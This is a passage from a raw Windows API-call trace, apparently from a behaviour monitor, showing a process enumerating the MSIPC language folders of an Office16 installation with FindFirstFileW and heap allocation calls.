ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53570 [0104.258] GetProcessHeap () returned 0x11a0000 [0104.258] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.259] GetProcessHeap () returned 0x11a0000 [0104.259] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533f0 [0104.259] GetProcessHeap () returned 0x11a0000 [0104.259] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.259] GetProcessHeap () returned 0x11a0000 [0104.259] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53430 [0104.260] GetProcessHeap () returned 0x11a0000 [0104.260] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.261] GetProcessHeap () returned 0x11a0000 [0104.261] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533f0 [0104.262] GetProcessHeap () returned 0x11a0000 [0104.262] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.262] GetProcessHeap () returned 0x11a0000 [0104.262] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b535f0 [0104.263] GetProcessHeap () returned 0x11a0000 [0104.263] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.263] GetProcessHeap () returned 0x11a0000 [0104.263] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b536f0 [0104.265] GetProcessHeap () returned 0x11a0000 [0104.265] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.265] GetProcessHeap () returned 0x11a0000 [0104.265] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b52ff0 [0104.270] GetProcessHeap () returned 0x11a0000 [0104.270] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.270] GetProcessHeap () returned 0x11a0000 [0104.270] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b52fb0 [0104.271] GetProcessHeap () returned 0x11a0000 [0104.271] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.271] GetProcessHeap () returned 0x11a0000 [0104.272] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53370 [0104.273] GetProcessHeap () returned 0x11a0000 [0104.273] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.273] GetProcessHeap () returned 0x11a0000 [0104.273] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53430 [0104.274] GetProcessHeap () returned 0x11a0000 [0104.274] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.274] GetProcessHeap () returned 0x11a0000 [0104.274] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53370 [0104.276] GetProcessHeap () returned 0x11a0000 [0104.276] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.276] GetProcessHeap () returned 0x11a0000 [0104.276] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533b0 [0104.277] GetProcessHeap () returned 0x11a0000 [0104.277] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.277] GetProcessHeap () returned 0x11a0000 [0104.277] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53030 [0104.277] GetProcessHeap () returned 0x11a0000 [0104.277] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.277] GetProcessHeap () returned 0x11a0000 [0104.278] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b532b0 [0104.278] GetProcessHeap () returned 0x11a0000 [0104.278] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.278] GetProcessHeap () returned 0x11a0000 [0104.279] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533b0 [0104.280] GetProcessHeap () returned 0x11a0000 [0104.280] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.280] GetProcessHeap () returned 0x11a0000 [0104.280] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53170 [0104.281] GetProcessHeap () returned 0x11a0000 [0104.281] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.281] GetProcessHeap () returned 0x11a0000 [0104.284] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b536b0 [0104.917] GetProcessHeap () returned 0x11a0000 [0104.917] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.917] GetProcessHeap () returned 0x11a0000 [0104.917] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533b0 [0104.918] GetProcessHeap () returned 0x11a0000 [0104.919] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.919] GetProcessHeap () returned 0x11a0000 [0104.919] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53030 [0104.920] GetProcessHeap () returned 0x11a0000 [0104.920] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.920] GetProcessHeap () returned 0x11a0000 [0104.920] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b530f0 [0104.921] GetProcessHeap () returned 0x11a0000 [0104.921] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.921] GetProcessHeap () returned 0x11a0000 [0104.921] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53530 [0104.923] GetProcessHeap () returned 0x11a0000 [0104.923] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.923] GetProcessHeap () returned 0x11a0000 [0104.923] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b532f0 [0104.924] GetProcessHeap () returned 0x11a0000 [0104.924] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.924] GetProcessHeap () returned 0x11a0000 [0104.924] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b533b0 [0104.926] GetProcessHeap () returned 0x11a0000 [0104.926] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.926] GetProcessHeap () returned 0x11a0000 [0104.926] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53570 [0104.926] GetProcessHeap () returned 0x11a0000 [0104.926] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.926] GetProcessHeap () returned 0x11a0000 [0104.926] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b535f0 [0104.927] GetProcessHeap () returned 0x11a0000 [0104.927] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.927] GetProcessHeap () returned 0x11a0000 [0104.927] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53570 [0104.928] GetProcessHeap () returned 0x11a0000 [0104.928] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.928] GetProcessHeap () returned 0x11a0000 [0104.928] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53230 [0104.929] GetProcessHeap () returned 0x11a0000 [0104.929] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.929] GetProcessHeap () returned 0x11a0000 [0104.929] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53530 [0104.930] GetProcessHeap () returned 0x11a0000 [0104.930] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.930] GetProcessHeap () returned 0x11a0000 [0104.930] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, 